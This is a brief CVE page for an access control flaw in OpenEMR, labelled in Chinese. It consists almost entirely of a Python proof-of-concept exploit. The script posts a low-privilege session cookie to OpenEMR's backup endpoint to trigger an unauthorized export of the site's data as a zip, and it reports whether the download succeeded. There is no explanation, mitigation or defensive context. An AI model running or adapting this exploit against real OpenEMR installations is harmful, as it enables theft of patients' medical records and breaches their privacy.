CVE-2026-34051 OpenEMR 访问控制漏洞

import requests def exploit_openemr(target_url, session_cookie): """ PoC for CVE-2026-34051: Improper Access Control in OpenEMR Import/Export. """ # The specific endpoint might vary based on installation, this is a conceptual path. export_endpoint = f"{target_url}/interface/main/backup.php" headers = { "User-Agent": "Mozilla/5.0 (VulnScanner)", "Cookie": f"OpenEMR={session_cookie}" } # Payload to trigger unauthorized export data = { "form_action": "export", "site": "default" } try: response = requests.post(export_endpoint, headers=headers, data=data, verify=False, timeout=10) if response.status_code == 200 and "application/zip" in response.headers.get('Content-Type', ''): print("[+] Exploit Successful! Unauthorized data export triggered.") print(f"[+] Downloaded {len(response.content)} bytes.") else: print("[-] Exploit failed or target not vulnerable.") print(response.text[:200]) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL and a valid low-privilege session cookie target = "http://localhost/openemr" cookie = "attacker_low_priv_session_cookie" exploit_openemr(target, cookie)